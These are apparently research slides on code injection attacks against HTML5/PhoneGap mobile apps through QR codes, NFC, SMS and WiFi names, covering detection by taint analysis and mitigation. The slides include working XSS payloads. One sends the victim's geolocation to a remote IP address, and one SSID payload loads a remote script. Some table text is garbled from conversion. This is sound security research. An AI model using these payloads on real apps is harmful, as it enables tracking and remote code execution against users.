# Code Injection Attacks on HTML5-based Mobile Apps: Characterization, Detection and Mitigation

Xing Jin, Xunchao Hu, Kailiang Ying, Wenliang Du, Heng Yin, Gautam Nagesh Peri

> Department of Electrical Engineering & Computer Science Syracuse University

**News Covered** 



**Tech News** 

### Outline

- HTML5-based Mobile App and Risk
- Code Injection Attacks on HTML5-based mobile apps
- Detection of Code Injection Attacks on HTML5-based mobile apps
- Mitigation of Code Injection Attacks on HTML5-based mobile apps

### HTML5-based Mobile App and Risk

### Cross Platform Application Development














How Can I develop applications for all the platforms?






### Overview of HTML5-based Mobile App



Advantage: Can be easily ported between different platforms

Disadvantage:
Need to build the
bridge between
JavaScript and native
resources

### Overview of PhoneGap Architecture



### Risks in HTML5-based Mobile App (JavaScript)


Data and code can be mixed together.

```
var text="Hello <script>alert('hello')</script>";
document.write(text);
```


 Once it runs, the data will be displayed, and the JavaScript code will also be executed.

## Code Injection Attacks on HTML5-based Mobile App

### Cross-Site Scripting Attack (XSS)





### Overview of our Attack




Much broader attack surface

### Condition1: Attack Channels







**NFC** 

**SMS** 

MP<sub>3</sub>

### Condition2: Display APIs(Triggering Code)

Ì	DOM APIs & Attributes	Safe or Unsafe	Occurrence Percentage	App Percentage	٠
- 1	document.write()	×	0.79%	12.95%	8
- 1	document, writeln()	×	2.27%	2.94%	ģ
	innerHTML.	×	14.22%	90.90%	3
- 1	outerHTML.	×	1.55%	54.41%	
1	innerText	1	2.15%	62.01%	ř
1	outerText	1	0.003%	0.13%	8
- 1	textContent	/	3.50%	65.97%	ģ
1	value	1	14.43 %	83.11%	
- 1	jQuery APIs		7011000 000	C	
↲	html()	×	14.02%	66.42%	
	append()	×	15.67%	/1.04%	
- 1	prepend()	×	1.14%	22.36%	ě
1	before()	×	1.17%	54.88%	
- 1	after()	×	0.06%	14.89%	
1	replaceAll()	×	1.68%	56.78%	à
1	replaceWith()	×	0.01%	0.48%	8
1	text()	/	14.78%	62.05%	ŝ
1	val()	1	11.95%	62.82%	
					600

Table 1: APIs and Attributes used for displaying data. (✓ means they are safe against code injection; × means unsafe.)

In our sample set (15,510 apps), 93% of apps use at least one unsafe APIs/attributes at least one time


### Vulnerable Code Example

```
document.addEventListener("deviceready", onDeviceReady, false);
function on DeviceReady() {
window.plugins.barcodeScanner.scan(o, onSuccess, onError);
function onSuccess(result) {
$("#display").html(result.text);
                                       Condition 2
function onError(contactError) {
 alert('onError!');
                                (Vulnerable API:html)
function unrealted() {
 alert('Unrelated functio');
```

Condition 1(channel: barcode)

### Achieving Damage

#### Device 1




- Directly Attack System Resources
- 2. Propagate to other Apps
- 3. Propagate to other Devices


### Real Vulnerable App Example



Malicious QR code



Vulnerable App (Android, iOS, Windows Phone)



**Being Traced** 

### Real Vulnerable App Example

The malicious code injected in the QR code

```
<imgsrc=xonerror=
navigator.geolocation.watchPosition
function(loc){
    m='Latitude:'+loc.coords.latitude+
    '\n'+'Longitude:'+loc.coords.longitude;
    alert(m);

b=document.createElement('img');
    b.src='http://128.***.213.66:5556?c='+m })>
```


Use HTML5 Geolocation API to get Location

Alert location information for demonstration purpose

Real damage, send location information to remote server

# Detection of Code Injection Attacks on HTML5-based Mobile App

### Derive Data Flow Problem



### Challenges

- C1: Mixture of application and framework code
- C2: Difficulties in static analysis on JavaScript
- C3: Dynamic loaded content

```
<html>
 <head>
  <script src= www.example.com/load.js/>
 </head>
 <body>
  <script>
      document.addEventListener("deviceready",
      onDeviceReady, false);
       function on DeviceReady()
        window.plugins.barcodeScanner.scan(o,onSuccess,
        onError);
   </script>
 </body>
</html>
```

### Framework Modeling

• Goal: connect data flow within PhoneGap Framework

```
Windows.plugins.barcodeScanner.
scan(o, onSuccess, onError);

PhoneGap

Data Flow

Framework Model
```

```
window = { plugins: { barcodeScanner:{
    scan: function scan (mode,suc,err) {
        exec(suc, err, "scan",[mode]);
}}}}

exec:function exec(suc,err,plugin,op,arg){
    var dat = "fake";
    suc(dat);
    err(dat);
}
```

### Static Taint Analysis on Slice

 Goal: Accurate detect taint slice by backward slice from vulnerable APIs

```
window.plugins.barcodeScanner.scan
(Source)
OnSuccess()

.html()
(Sink)
```

```
document.addEventListener("deviceready",
onDeviceReady, false);
function on DeviceReady()
window.plugins.barcodeScanner.scan(o,onSucc
ess, onError);
function onSuccess(result) {
   $("#display").html(result.text)
function onError(contactError) {
 alert('onError!');
```

### Evaluation

- 15,510 apps from the official Google Play Market
- Hardware spec: Intel Core i7-2600 3.4GHz with 16GB RAM.

#### Performance

• Average processing time :


15.38 sec/app

#### Accuracy

- 478/15,510 flagged as vulnerable
- False positive rate: 2.30%
   (because of dead code)

### Case Study (The most powerful ones)

Selected 20 apps (most powerful ones)




### Other Static Analysis in Android

Privilege escalation (Permission)	Component Hijacking (Intent)	SSL/TLS
Stowaway	Chex	SMV-HUNTER
Pscout	Woodpecker ContentScope	MalloDroid
ComDroid	AppSealer	CryptoLint


# Mitigation of Code Injection Attacks on HTML5-based Mobile App

### Mitigation



### WiFi Demo (SSID Length Limitation)

<img src onerror=\$.getScript('http://mu.gl')> (need to usejQuery)



### Conclusion

- Presented a systematic study of Code Injection Attacks on HTML5based mobile Apps
- Designed and implemented a tool to automatic detect the vulnerabilities in HTML5-based mobile App
- Implemented a prototype (NoInjection) as a patch to the PhoneGap framework in Android to mitigate the attack